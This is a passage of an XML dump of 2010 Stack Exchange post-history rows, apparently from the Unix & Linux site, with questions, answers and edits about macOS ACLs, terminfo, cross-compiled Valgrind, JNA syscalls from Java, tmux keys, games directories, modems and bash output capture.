delete&#xD;&#xA;drwxr-xr-x   3 smcho  staff     102 Sep  4 15:01 Mail&#xD;&#xA;drwx------+ 13 smcho  staff     442 Aug 28 17:55 Movies&#xD;&#xA; 0: group:everyone deny delete&#xD;&#xA;drwx------+  6 smcho  staff     204 Jul  9 09:37 Music&#xD;&#xA; 0: group:everyone deny delete&#xD;&#xA;drwx------+ 11 smcho  staff     374 Aug 28 16:55 Pictures&#xD;&#xA; 0: group:everyone deny delete&#xD;&#xA;drwxr-xr-x   3 smcho  staff     102 Mar 18 15:43 Projects&#xD;&#xA;drwxrwxrwx+  4 smcho  staff     136 May  5 09:18 Public&#xD;&#xA; 0: group:everyone deny delete&#xD;&#xA;drwxr-xr-x+  6 smcho  staff     204 Feb  1  2010 Sites&#xD;&#xA; 0: group:everyone deny delete&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;What those appended messages mean? Why do I have them for some of the files? I don't remember doing anything particular for them." />
  <row Id="3374" PostHistoryTypeId="5" PostId="1674" RevisionGUID="fbee14d1-de88-4d7d-b5a8-a64114480ff2" CreationDate="2010-09-06T18:33:49.390" UserId="317" Comment="added 105 characters in body" Text="I notice that ncurses's terminfo database on `/usr/share/terminfo` is about 7MB (I compiled myself), this is too large for my need if I want to deploy it into embedded linux of 64MB disk space, is there any way to **reduce its size** by deleting unneeded entry and keep the most used. and **what's is this actually for**?&#xD;&#xA;&#xD;&#xA;edit-&gt;added:&#xD;&#xA; is there any info or reference for commonly used terminfo for regular PC or SSHclient?" />
  <row Id="3375" PostHistoryTypeId="6" PostId="1646" RevisionGUID="cec3b5a5-611e-4d76-ad21-934f5ff24826" CreationDate="2010-09-06T18:35:52.520" UserId="1207" Comment="edited tags" Text="éosxàélsàémacà" />
  <row Id="3376" PostHistoryTypeId="2" PostId="1678" RevisionGUID="85def3bb-9a8e-46c9-9b28-de7c0b469074" CreationDate="2010-09-06T18:59:29.030" UserId="1131" Text="Depending on your distribution a ~/.xsession is executed (shell script) when logging into X. Or the ~/.Xmodmap is sourced by a xmodmap process.&#xD;&#xA;&#xD;&#xA;~/.profile is only executed by a login shell (with or without X), thus it is not the right place" />
  <row Id="3377" PostHistoryTypeId="2" PostId="1679" RevisionGUID="7cf9f574-0349-43a7-a38f-72fab6b840a2" CreationDate="2010-09-06T19:00:05.893" UserId="1474" Text="Put it in `~/.xsessionrc` and make sure that `/etc/X11/Xsession.options` contains `allow-user-xsession`." />
  <row Id="3378" PostHistoryTypeId="2" PostId="1680" RevisionGUID="f864293b-e807-4295-bf7d-48fc3ea80d1a" CreationDate="2010-09-06T19:14:45.220" UserId="1289" Text="I have downloaded the sources from the Valgrind trunk and built it for using on an embedded Linux system(Montavista Linux) powered by an ARM926(ARMv5t architecture). Everything went well until I tried to run it to check some application I've made; Valgrind tells me: &#xD;&#xA;&#xD;&#xA;*&quot;valgrind: failed to start tool 'memcheck' for platform 'arm-linux': No such file or directory&quot;.* &#xD;&#xA;&#xD;&#xA;Trying to run any other tool gives the same message.&#xD;&#xA;For *make install* I used the --prefix option pointing to the embedded system's filesystem which is mounted through NFS(e.g. --prefix=/home/NFS_mounted/opt/valgrind). I checked the installation location and the *lib* directory there contains the proper tools; I also checked the corresponding pkgconfig file for Valgrind and it seems to be OK so I'm kind of clueless right now and can't figure out what's going wrong. 2 questions:&#xD;&#xA;&#xD;&#xA;1. Is it correct to use/install a cross-compiled Valgrind like that? Maybe I'm doing something wrong regarding the setup, or maybe there is something involving the host system that I'm missing(gdb/gdbserver like).&#xD;&#xA;2. Has anyone tried running it on ARM architectures? I'm aware that the support is fairly recent so I'm wondering if I could get decent results." />
  <row Id="3379" PostHistoryTypeId="1" PostId="1680" RevisionGUID="f864293b-e807-4295-bf7d-48fc3ea80d1a" CreationDate="2010-09-06T19:14:45.220" UserId="1289" Text="using cross-compiled Valgrind" />
  <row Id="3380" PostHistoryTypeId="3" PostId="1680" RevisionGUID="f864293b-e807-4295-bf7d-48fc3ea80d1a" CreationDate="2010-09-06T19:14:45.220" UserId="1289" Text="élinuxàéembeddedàémemoryöleaksà" />
  <row Id="3381" PostHistoryTypeId="2" PostId="1681" RevisionGUID="35771db2-3809-4bf3-af9f-fa14be84d05c" CreationDate="2010-09-06T19:42:07.167" UserId="1531" Text="Hello everybody,&#xD;&#xA;&#xD;&#xA;i was wondering if there's a way to invoke syscalls directly from Java, or is necessary to first call a native method.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="3382" PostHistoryTypeId="1" PostId="1681" RevisionGUID="35771db2-3809-4bf3-af9f-fa14be84d05c" CreationDate="2010-09-06T19:42:07.167" UserId="1531" Text="Invoke Syscalls from Java" />
  <row Id="3383" PostHistoryTypeId="3" PostId="1681" RevisionGUID="35771db2-3809-4bf3-af9f-fa14be84d05c" CreationDate="2010-09-06T19:42:07.167" UserId="1531" Text="élinuxà" />
  <row Id="3384" PostHistoryTypeId="2" PostId="1682" RevisionGUID="7338ec69-4978-4479-9730-07ead1000be5" CreationDate="2010-09-06T19:55:19.220" UserId="1532" Text="It is necessary to use a native method, or a library that does so for you." />
  <row Id="3385" PostHistoryTypeId="5" PostId="1681" RevisionGUID="3b5853c3-3004-46e9-9629-df10ea7054a8" CreationDate="2010-09-06T20:11:38.110" UserId="73" Comment="deleted 46 characters in body; edited tags" Text="Is there a way to invoke syscalls directly from Java, or is it necessary to first call a native method?" />
  <row Id="3386" PostHistoryTypeId="6" PostId="1681" RevisionGUID="3b5853c3-3004-46e9-9629-df10ea7054a8" CreationDate="2010-09-06T20:11:38.110" UserId="73" Comment="deleted 46 characters in body; edited tags" Text="élinuxàéjavaà" />
  <row Id="3387" PostHistoryTypeId="2" PostId="1683" RevisionGUID="700f8202-a298-402e-9786-c0f33fb916e6" CreationDate="2010-09-06T20:23:01.343" UserId="73" Text="You need to use a native method, but you don't need to implement it yourself. Java has a variation on JNI called JNA (Java Native Access), which lets you access shared libraries directly without needing a JNI interface wrapped around them, so you can use that to interface directly with the glibc:&#xD;&#xA;&#xD;&#xA;    import com.sun.jna.Library;&#xD;&#xA;    import com.sun.jna.Native;&#xD;&#xA;    &#xD;&#xA;    public class Test {&#xD;&#xA;        public interface CStdLib extends Library {&#xD;&#xA;            int syscall(int number, Object... args);&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        public static void main(String[] args) {&#xD;&#xA;            CStdLib c = (CStdLib)Native.loadLibrary(&quot;c&quot;, CStdLib.class);&#xD;&#xA;    &#xD;&#xA;            System.out.println(&quot;PID: &quot; + c.syscall(20));&#xD;&#xA;            System.out.println(&quot;UID: &quot; + c.syscall(24));&#xD;&#xA;            System.out.println(&quot;GID: &quot; + c.syscall(47));&#xD;&#xA;            c.syscall(39, &quot;/tmp/create-new-directory-here&quot;);&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3388" PostHistoryTypeId="2" PostId="1684" RevisionGUID="45c82cdd-8ba6-40a0-b68d-43fa9192dfd3" CreationDate="2010-09-06T20:52:05.677" UserId="629" Text="The problem is that 'valgrind' is looking for a different executable to run the real checking. It uses the install path you specified when you configured it, which is not the same path as on the target.&#xD;&#xA;&#xD;&#xA;You should be able to confirm this by creating a symlink /home/NFS_mounted on your target that points to '/'." />
  <row Id="3389" PostHistoryTypeId="5" PostId="1648" RevisionGUID="63455bb7-c8b1-47bb-a4b0-48a006bbe278" CreationDate="2010-09-06T20:56:37.127" UserId="73" Comment="added 32 characters in body" Text="The `@` suffix is unique to Mac OS and is covered by [this question](http://unix.stackexchange.com/q/10/73), so I copied this part of my answer from there; it means the file has [extended attributes](http://en.wikipedia.org/wiki/Extended_file_attributes). You can use the `xattr` command-line utility to view and modify them:&#xD;&#xA;&#xD;&#xA;    xattr --list filename&#xD;&#xA;    xattr --set propname propvalue filename&#xD;&#xA;    xattr --delete propname filename&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The `+` suffix means the file has an access control list, and is common in any *nix that supports ACLs. Giving `ls` the `-e` flag will make it show the associated ACLs after the file, and `chmod` can be used to modify then. Most of this is from the `chmod` man page:&#xD;&#xA;&#xD;&#xA;You add an ACL with `chmod +a &quot;type:name flag permission,...&quot;`, and remove it with `chmod -a`. The argument to `chmod` is fairly complicated:&#xD;&#xA;&#xD;&#xA;* **type** is either `user` or `group`, to clarify if `name` is referring to a username or a group name. If `name` is unambiguous, you can omit the type&#xD;&#xA;* **name** is the username or group the ACL applies to&#xD;&#xA;* **flag** is `allow` if this ACL entry is granting a permission, or `deny` if it's denying a permission&#xD;&#xA;* **permission** is the actual permission being modified; you can list as many as you like, comma-separated&#xD;&#xA;    * **delete** -- Allow the file/directory to be deleted&#xD;&#xA;    * **readattr** -- Read basic attributes&#xD;&#xA;    * **writeattr** -- Write basic attributes&#xD;&#xA;    * **readextattr** -- Read extended attributes (using `xattr`, from above)&#xD;&#xA;    * **writeextattr** -- Write extended attributes&#xD;&#xA;    * **readsecurity** -- Read ACL info&#xD;&#xA;    * **writesecurity** -- Write ACL info&#xD;&#xA;    * **chown** -- Change owner&#xD;&#xA;    * Directory-specific permissions&#xD;&#xA;        * **list** -- Show the files/folders in the directory&#xD;&#xA;        * **search** -- Find a file/folder in the directory by name&#xD;&#xA;        * **add_file** -- Create a new file in the directory&#xD;&#xA;        * **add_subdirectory** -- Create a new directory in the directory&#xD;&#xA;        * **delete_child** -- Remove a file/directory in the directory&#xD;&#xA;        * Inheritance-control&#xD;&#xA;            * **file_inherit** -- ACLs on the directory are inherited by files&#xD;&#xA;            * **directory_inherit** -- ACLs on the directory are inherited by subdirectories&#xD;&#xA;            * **limit_inherit** -- Stops ACLs inherited by this directory from being inherited by subdirectories&#xD;&#xA;            * **only_inherit** -- Inherited by all newly created items but ignored&#xD;&#xA;    * File-specific permissions&#xD;&#xA;        * **read** -- Open the file for reading&#xD;&#xA;        * **write** -- Open the file for writing&#xD;&#xA;        * **append** -- Open the file for appending&#xD;&#xA;        * **execute** -- Run the file&#xD;&#xA;&#xD;&#xA;In your particular example, most of the ACL entries are `group:everyone deny delete`. That is, all users in the `everyone` group (which is naturally everyone) are denied the permission to delete the folder. I believe, although I can't find any documentation about it, that these are default ACLs to stop you from removing essential root folders -- somebody correct this if that's not the case. The only other entry is `group:com.apple.sharepoint.group.3 allow search`, which allows Directory Services to search for files by name in the `/Library` folder" />
  <row Id="3390" PostHistoryTypeId="5" PostId="1683" RevisionGUID="48144dd3-bbb4-423f-8f4f-2fa894bcb924" CreationDate="2010-09-06T20:58:10.680" UserId="73" Comment="added 25 characters in body" Text="You need to use a native method, but you don't need to implement it yourself. Java has a variation on JNI called [JNA (Java Native Access)](https://jna.dev.java.net/), which lets you access shared libraries directly without needing a JNI interface wrapped around them, so you can use that to interface directly with glibc:&#xD;&#xA;&#xD;&#xA;    import com.sun.jna.Library;&#xD;&#xA;    import com.sun.jna.Native;&#xD;&#xA;    &#xD;&#xA;    public class Test {&#xD;&#xA;        public interface CStdLib extends Library {&#xD;&#xA;            int syscall(int number, Object... args);&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        public static void main(String[] args) {&#xD;&#xA;            CStdLib c = (CStdLib)Native.loadLibrary(&quot;c&quot;, CStdLib.class);&#xD;&#xA;    &#xD;&#xA;            System.out.println(&quot;PID: &quot; + c.syscall(20));&#xD;&#xA;            System.out.println(&quot;UID: &quot; + c.syscall(24));&#xD;&#xA;            System.out.println(&quot;GID: &quot; + c.syscall(47));&#xD;&#xA;            c.syscall(39, &quot;/tmp/create-new-directory-here&quot;);&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3391" PostHistoryTypeId="2" PostId="1685" RevisionGUID="7a50b331-2ac0-4230-af9b-f581b9f0d86b" CreationDate="2010-09-06T21:09:05.177" UserId="1327" Text="Whats the simplistic recipe to connect my PC to my **WLAN** through my laptop?&#xD;&#xA;&#xD;&#xA;I have 1 wireless network, one Desktop that ( for practical reasons ) has no connection to the WLAN, and one laptop with **wireless** and a **ethernet** port.&#xD;&#xA;&#xD;&#xA;I would like to run a cable from my Desktop to my Laptop. Connect My laptop to my **WLAN** and forward the network to my Desktop. Is there a sollution?&#xD;&#xA;" />
  <row Id="3392" PostHistoryTypeId="1" PostId="1685" RevisionGUID="7a50b331-2ac0-4230-af9b-f581b9f0d86b" CreationDate="2010-09-06T21:09:05.177" UserId="1327" Text="Connecting to a network via another pc" />
  <row Id="3393" PostHistoryTypeId="3" PostId="1685" RevisionGUID="7a50b331-2ac0-4230-af9b-f581b9f0d86b" CreationDate="2010-09-06T21:09:05.177" UserId="1327" Text="énetworkingà" />
  <row Id="3394" PostHistoryTypeId="2" PostId="1686" RevisionGUID="932fdd63-ffcd-4ffa-b6d4-14669539a53a" CreationDate="2010-09-06T21:13:38.513" UserId="885" Text="`Super_L` is an X keysym. Tmux runs in a terminal. It is up to your terminal emulator to transform a keysym into a character sequence. So you would have to configure both your terminal emulator and tmux.&#xD;&#xA;&#xD;&#xA;Looking at the tmux documentation, the prefix can only been a known key name with an optional modifier. So you can set the tmux prefix to a key combination you don't use, say `M-F12`, and get your terminal to send the character sequence for `M-F12` when you press `Super_L`. With a little more work, you could use a key that your keyboard probably doesn't have (tmux accepts `F13` through `F20` as key names, but they have to be declared in terminfo).&#xD;&#xA;&#xD;&#xA;On the terminal emulator side, you would have to arrange for `Super_L` to generate the key sequence `\e\e[24~` (for `M-F12`) or `\e[34~` (for `F20`) (where `\e` is the escape character). How to do this depends on the terminal emulator (and some aren't configurable enough to do it). With xterm, it's done through X resources:&#xD;&#xA;&#xD;&#xA;    ! Make Super_L act as Meta+F12&#xD;&#xA;    XTerm.VT100.translations:       #override \&#xD;&#xA;        &lt;Key&gt;Super_L:  string(&quot;\033\033[24~&quot;)&#xD;&#xA;&#xD;&#xA;You may hit a snag that `Super_L` is normally a modifier, and modifier keys don't always work when a non-modifier is required. If you don't want `Super_L` to be a modifier, you can take its modifier away, or (less confusingly) use a different keysym for the physical key. This can be done through xmodmap (old-fashioned and simple to understand), through xkb (the modern, poorly-documented, powerful and complex way), or perhaps through your desktop environment's GUI configuration tol.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3395" PostHistoryTypeId="5" PostId="1683" RevisionGUID="79468fe7-fec2-44bd-bdc5-880bb2455fc7" CreationDate="2010-09-06T21:13:49.000" UserId="73" Comment="added 60 characters in body" Text="You need to use a native method, but you don't need to implement it yourself. Java has a variation on JNI called [JNA (Java Native Access)](https://jna.dev.java.net/), which lets you access shared libraries directly without needing a JNI interface wrapped around them, so you can use that to interface directly with glibc:&#xD;&#xA;&#xD;&#xA;    import com.sun.jna.Library;&#xD;&#xA;    import com.sun.jna.Native;&#xD;&#xA;    &#xD;&#xA;    public class Test {&#xD;&#xA;        public interface CStdLib extends Library {&#xD;&#xA;            int syscall(int number, Object... args);&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        public static void main(String[] args) {&#xD;&#xA;            CStdLib c = (CStdLib)Native.loadLibrary(&quot;c&quot;, CStdLib.class);&#xD;&#xA;&#xD;&#xA;            // WARNING: These syscall numbers are for x86 only&#xD;&#xA;            System.out.println(&quot;PID: &quot; + c.syscall(20));&#xD;&#xA;            System.out.println(&quot;UID: &quot; + c.syscall(24));&#xD;&#xA;            System.out.println(&quot;GID: &quot; + c.syscall(47));&#xD;&#xA;            c.syscall(39, &quot;/tmp/create-new-directory-here&quot;);&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3397" PostHistoryTypeId="5" PostId="1685" RevisionGUID="6936ddeb-4967-4486-aa6e-34568735e89d" CreationDate="2010-09-06T21:33:05.470" UserId="1327" Comment="Improved formating" Text="Whats the *simplistic* recipe to connect my PC to my **WLAN** through my laptop?&#xD;&#xA;&#xD;&#xA;I have **1** wireless network, one Desktop that ( for practical reasons ) has no connection to the *WLAN*, and one laptop with **wireless** and a **ethernet** port.&#xD;&#xA;&#xD;&#xA;I would like to run a cable from my Desktop to my Laptop. Connect my laptop to my **WLAN** and **forward the network** to my Desktop. &#xD;&#xA;&#xD;&#xA;Is there a sollution?&#xD;&#xA;&#xD;&#xA;Thank You&#xD;&#xA;" />
  <row Id="3398" PostHistoryTypeId="2" PostId="1687" RevisionGUID="c70e6d97-5f00-4e7c-b060-bb1ba31b733b" CreationDate="2010-09-06T21:42:22.700" UserId="317" Text="on standard file-system directory, why we have :&#xD;&#xA;    &#xD;&#xA;    /usr/games&#xD;&#xA;    /usr/lib/games&#xD;&#xA;    /usr/local/games&#xD;&#xA;    /usr/share/games&#xD;&#xA;    /var/games&#xD;&#xA;    /var/lib/games&#xD;&#xA;&#xD;&#xA;is it something about joke, or there are history behind this? what is it for? why we have separate and specialized for something like games?" />
  <row Id="3399" PostHistoryTypeId="1" PostId="1687" RevisionGUID="c70e6d97-5f00-4e7c-b060-bb1ba31b733b" CreationDate="2010-09-06T21:42:22.700" UserId="317" Text="games directory?" />
  <row Id="3400" PostHistoryTypeId="3" PostId="1687" RevisionGUID="c70e6d97-5f00-4e7c-b060-bb1ba31b733b" CreationDate="2010-09-06T21:42:22.700" UserId="317" Text="élinuxàéfilesystemsàédirectoryàégamesà" />
  <row Id="3401" PostHistoryTypeId="2" PostId="1688" RevisionGUID="f20006f4-b477-4ee1-8519-e68903f936b0" CreationDate="2010-09-06T21:44:47.807" UserId="1327" Text="[ArchLinux](http://wiki.archlinux.org/index.php/Arch_VServer#.2Fetc.2Frc.shutdown) does have a `/etc/rc.local.shutdown` file for this" />
  <row Id="3402" PostHistoryTypeId="5" PostId="1687" RevisionGUID="9384fc55-6316-4fe0-a502-1a6c59713dc6" CreationDate="2010-09-06T21:53:06.460" UserId="73" Comment="deleted 7 characters in body" Text="On a standard filesystem, we have:&#xD;&#xA;    &#xD;&#xA;    /usr/games&#xD;&#xA;    /usr/lib/games&#xD;&#xA;    /usr/local/games&#xD;&#xA;    /usr/share/games&#xD;&#xA;    /var/games&#xD;&#xA;    /var/lib/games&#xD;&#xA;&#xD;&#xA;Is this a joke, or is there some history behind this? What is it for? Why do we have separate and specialized directories for something like games?" />
  <row Id="3403" PostHistoryTypeId="2" PostId="1689" RevisionGUID="5ba850ca-79c7-46ff-939b-6ef92b3cad90" CreationDate="2010-09-06T21:54:11.543" UserId="73" Text="At least partially, it's so the system can have a `games` group that certain users are members of, and they all have rights to execute games in the `games` folder" />
  <row Id="3404" PostHistoryTypeId="5" PostId="1685" RevisionGUID="f5995c5f-e64e-4e03-98b4-f5f615c46fc0" CreationDate="2010-09-06T22:03:07.020" UserId="73" Comment="deleted 40 characters in body" Text="What's a *simplistic* recipe to connect my PC to my WLAN through my laptop?&#xD;&#xA;&#xD;&#xA;I have one wireless network, one desktop that (for practical reasons) has no connection to the WLAN, and one laptop with wireless and an ethernet port.&#xD;&#xA;&#xD;&#xA;I would like to run a cable from my desktop to my laptop, connect my laptop to my WLAN and forward the network to my desktop. &#xD;&#xA;&#xD;&#xA;Is there a solution?&#xD;&#xA;" />
  <row Id="3405" PostHistoryTypeId="2" PostId="1690" RevisionGUID="c30a4ae7-9338-4f88-9ade-d96e38631714" CreationDate="2010-09-06T22:14:49.107" UserId="885" Text="The Emacs component that's responsible for expanding `~` in file names is `expand-file-name`. Unfortunately, it's written in C, and deep inside its bowels is code that assumes that what comes after `~` is a user name. Fortunately, Emacs has a generic way of adding a wrapper around functions, so you can do what you want if you don't mind repeating some of the logic in the built-in function.&#xD;&#xA;&#xD;&#xA;Here's some completely untested code that should get you going. Look up “Advising Emacs Lisp Functions” in the Emacs Lisp manual for more information; the basic idea is that `defadvice` adds some code to run before the actual code of `expand-file-name`. Please signal the mistakes I've inevitably made in comments (whether you know how to fix them or not).&#xD;&#xA;&#xD;&#xA;    (ad-define-subr-args 'expand-file-name '(name &amp;optional default-directory))&#xD;&#xA;    (defvar expand-file-name-custom-tilde-alist&#xD;&#xA;      '(&quot;foo&quot; . &quot;/home/Documents/foo&quot;))&#xD;&#xA;    (defadvice expand-file-name (before expand-file-name-custom-tilde&#xD;&#xA;                                 activate compile)&#xD;&#xA;      &quot;User-defined expansions for ~NAME in file names.&quot;&#xD;&#xA;      (save-match-data&#xD;&#xA;        (if (string-match &quot;\\`\\(\\(.*/\\)?~\\([^:/]+\\)\\)/&quot; name)&#xD;&#xA;            (let ((replacement (assoc (match-string 2 name) expand-file-name )))&#xD;&#xA;              (if replacement&#xD;&#xA;                  (setq name (replace-match replacement t t name 1)))))))&#xD;&#xA;&#xD;&#xA;I'll leave parsing the shortcuts in `.zshrc` to fill `expand-file-name-custom-tilde-alist` (or whatever technique you choose to keep the aliases in synch) as an exercise.&#xD;&#xA;" />
  <row Id="3406" PostHistoryTypeId="2" PostId="1691" RevisionGUID="e81a975a-ad99-4fbc-b7dc-18bca22ee20a" CreationDate="2010-09-06T22:34:42.703" UserId="885" Text="It's just a bit of historical cruft. A long time ago, games were an optional part of the system, and might be installed by different people, so they lived in `/usr/games` rather than `/usr/bin`. Data such as high scores came to live in `/var/games`. As time went by, people variously put variable game data in `/var/lib/games/NAME` or `/var/games/NAME` and static game data in `/usr/lib/NAME` or `/usr/games/lib/NAME` or `/usr/games/NAME` or `/usr/lib/games/NAME` (and the same with `share` instead of `lib` for architecture-independent data). Nowadays, there isn't any compelling reason to keep games separate, it's just a matter of tradition.&#xD;&#xA;" />
  <row Id="3407" PostHistoryTypeId="2" PostId="1692" RevisionGUID="b289aad6-d8a7-4223-8341-1f9a7a58f7a3" CreationDate="2010-09-06T23:19:22.363" UserId="1536" Text="Ok, I don't think I really have the answer here but here it goes:&#xD;&#xA;&#xD;&#xA;1.Connect your laptop to the WLAN,&lt;br /&gt;&#xD;&#xA;2.Connect your Desktop to your Laptop (make sure to configure the IP's properly, or have a DHCP server on your laptop),&lt;br /&gt;&#xD;&#xA;3.Use firestarter (should be available on your package manager) to create a bridge between the two connections.&#xD;&#xA;&#xD;&#xA;That's as far as I could get by researching the subject, hope this info serves as a good starting point." />
  <row Id="3408" PostHistoryTypeId="5" PostId="1692" RevisionGUID="80c3ab65-60c8-4311-aa5d-dc47d1c4963f" CreationDate="2010-09-06T23:55:39.137" UserId="73" Comment="deleted 9 characters in body" Text="Ok, I don't think I really have the answer here but here it goes:&#xD;&#xA;&#xD;&#xA;1. Connect your laptop to the WLAN,&#xD;&#xA;2. Connect your Desktop to your Laptop (make sure to configure the IP's properly, or have a DHCP server on your laptop),&#xD;&#xA;3. Use firestarter (should be available on your package manager) to create a bridge between the two connections.&#xD;&#xA;&#xD;&#xA;That's as far as I could get by researching the subject; hope this info serves as a good starting point." />
  <row Id="3409" PostHistoryTypeId="2" PostId="1693" RevisionGUID="94c8c2b5-7fa7-4efc-90a8-741e8a0a9624" CreationDate="2010-09-07T00:13:19.437" UserId="1537" Text="I have a client who wants to set up a fax server in their office. I'd like to use [HylaFAX](http://www.hylafax.org/content/Main_Page) under Ubuntu, but I'm a little shy to spend money on hardware for Linux, particularly a modem given the whole Winmodem issue. So to answer two different questions in the same post:&#xD;&#xA;&#xD;&#xA;First, **what are the most reliable ways to tell if a modem is supported in modern releases of Linux?** It's nice when a manufacturer specifically mentions Linux support. Failing that, do you check the kernel docs? Chipset type? Other keywords on the modem's spec sheet?&#xD;&#xA;&#xD;&#xA;Second, **what specific modem would you recommend?**&#xD;&#xA;&#xD;&#xA;(I am unable to tag this &quot;modem.&quot;)" />
  <row Id="3410" PostHistoryTypeId="1" PostId="1693" RevisionGUID="94c8c2b5-7fa7-4efc-90a8-741e8a0a9624" CreationDate="2010-09-07T00:13:19.437" UserId="1537" Text="Linux-compatible 56k modem" />
  <row Id="3411" PostHistoryTypeId="3" PostId="1693" RevisionGUID="94c8c2b5-7fa7-4efc-90a8-741e8a0a9624" CreationDate="2010-09-07T00:13:19.437" UserId="1537" Text="éhardwareà" />
  <row Id="3412" PostHistoryTypeId="2" PostId="1694" RevisionGUID="b64ec05d-2708-4273-bafb-78ed20bfb340" CreationDate="2010-09-07T00:24:08.687" UserId="885" Text="External modems that plug into a serial (RS232) or USB port usually have all the necessary electronics. Most Winmodems (requiring Windows software to supplement their deficiencies) are internal. “Hayes compatible” or a mention of compatibility with DOS, OS/2, Linux, SCO, or anything other than Windows is an indication that the modem will just work under any OS. If in doubt, look for a model that other people have used under Linux, perhaps second-hand.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3413" PostHistoryTypeId="6" PostId="1693" RevisionGUID="146c4948-49d2-46c8-a2c7-3e5b0fc8b70b" CreationDate="2010-09-07T00:24:40.167" UserId="885" Comment="edited tags" Text="éhardwareàémodemà" />
  <row Id="3414" PostHistoryTypeId="2" PostId="1695" RevisionGUID="db979420-33c2-4fed-8d16-6a071617262e" CreationDate="2010-09-07T01:06:35.927" UserId="210" Text="Normally, bash is able to assign multi-line output of a command:&#xD;&#xA;&#xD;&#xA;    L=`ls`&#xD;&#xA;&#xD;&#xA;This works from both interactive shell and scripts. But it appears the output of a builtin can't be captured in a variable:&#xD;&#xA;&#xD;&#xA;    L=`dirs -l -p`&#xD;&#xA;&#xD;&#xA;This works in the interactive shell, but in the script only first line end up in the variable, probably due to different treatment of builtins by bash. &#xD;&#xA;&#xD;&#xA;Why does it happen, and how can I do what I need?" />
  <row Id="3415" PostHistoryTypeId="1" PostId="1695" RevisionGUID="db979420-33c2-4fed-8d16-6a071617262e" CreationDate="2010-09-07T01:06:35.927" UserId="210" Text="Capture multi-line output of a bash builtin" />
  <row Id="3416" PostHistoryTypeId="3" PostId="1695" RevisionGUID="db979420-33c2-4fed-8d16-6a071617262e" CreationDate="2010-09-07T01:06:35.927" UserId="210" Text="ébashà" />
  <row Id="3417" PostHistoryTypeId="2" PostId="1696" RevisionGUID="9d13ac11-9b4c-4576-9f85-fedc7f5f66ad" CreationDate="2010-09-07T01:10:36.377" UserId="1299" Text="The HylaFAX Handbook has [some documentation][1] about making sure you have a compatible fax device. According to that document, external serial modems will work almost without exception, but some external USB modems may be softmodems and require a driver. Regarding internal modems, that document references some chipsets and model numbers that are known to work.&#xD;&#xA;&#xD;&#xA;Once you find a device that you intend to use, it probably wouldn't hurt to search for it in the [hylafax-users mailing list archive][2] to see if another user has encountered a problem with it.&#xD;&#xA;&#xD;&#xA;The HylaFAX website also has [Hardware Compatibility List][3].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hylafax.org/content/Handbook:Basic_Server_Configuration:Choosing_a_Modem&#xD;&#xA;  [2]: http://www.hylafax.org/archive/&#xD;&#xA;  [3]: http://www.hylafax.org/content/Hardware_Compatibility_List" />
  <row Id="3418" PostHistoryTypeId="2" PostId="1697" RevisionGUID="bece5371-cc12-4b00-aa7a-50f43428835e" CreationDate="2010-09-07T01:23:54.190" UserId="1531" Text="I have several unistd.h files in my Ubuntu Linux. I've one on: /usr/include/asm/unistd.h This file has this directives:&#xD;&#xA;&#xD;&#xA;    # ifdef __i386__&#xD;&#xA;    #  include &quot;unistd_32.h&quot;&#xD;&#xA;    # else&#xD;&#xA;    #  include &quot;unistd_64.h&quot;&#xD;&#xA;    # endif&#xD;&#xA;&#xD;&#xA;In that folder, i can find those files (unistd_32.h and unistd_64.h).&#xD;&#xA;&#xD;&#xA;But in /usr/src/linux-headers-2.6.31-22/include/asm-generic/ there's another unistd.h that starts with this directives:&#xD;&#xA;&#xD;&#xA;    #if !defined(_ASM_GENERIC_UNISTD_H) || defined(__SYSCALL)&#xD;&#xA;    #define _ASM_GENERIC_UNISTD_H&#xD;&#xA;&#xD;&#xA;So, the question is: How can i know, which one is loaded? Is there any way to check it in runtime with Java?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="3419" PostHistoryTypeId="1" PostId="1697" RevisionGUID="bece5371-cc12-4b00-aa7a-50f43428835e" CreationDate="2010-09-07T01:23:54.190" UserId="1531" Text="How can i know which unistd.h file is loaded?" />
  <row Id="3420" PostHistoryTypeId="3" PostId="1697" RevisionGUID="bece5371-cc12-4b00-aa7a-50f43428835e" CreationDate="2010-09-07T01:23:54.190" UserId="1531" Text="élinuxàécàéjavaà" />
  <row Id="3421" PostHistoryTypeId="5" PostId="1693" RevisionGUID="452018ae-10e1-40f2-9b9b-29fb45208a2c" CreationDate="2010-09-07T01:40:36.117" UserId="1537" Comment="Question was retagged; removing not about missing tag." Text="I have a client who wants to set up a fax server in their office. I'd like to use [HylaFAX](http://www.hylafax.org/content/Main_Page) under Ubuntu, but I'm a little shy to spend money on hardware for Linux, particularly a modem given the whole Winmodem issue. So to answer two different questions in the same post:&#xD;&#xA;&#xD;&#xA;First, **what are the most reliable ways to tell if a modem is supported in modern releases of Linux?** It's nice when a manufacturer specifically mentions Linux support. Failing that, do you check the kernel docs? Chipset type? Other keywords on the modem's spec sheet?&#xD;&#xA;&#xD;&#xA;Second, **what specific modem would you recommend?**" />
  <row Id="3422" PostHistoryTypeId="5" PostId="1693" RevisionGUID="1fa1256d-e925-40ad-ba11-33f22ccc67ba" CreationDate="2010-09-07T01:47:52.573" UserId="1537" Comment="s/answer/ask" Text="I have a client who wants to set up a fax server in their office. I'd like to use [HylaFAX](http://www.hylafax.org/content/Main_Page) under Ubuntu, but I'm a little shy to spend money on hardware for Linux, particularly a modem given the whole Winmodem issue. So to ask two different questions in the same post:&#xD;&#xA;&#xD;&#xA;First, **what are the most reliable ways to tell if a modem is supported in modern releases of Linux?** It's nice when a manufacturer specifically mentions Linux support. Failing that, do you check the kernel docs? Chipset type? Other keywords on the modem's spec sheet?&#xD;&#xA;&#xD;&#xA;Second, **what specific modem would you recommend?**" />
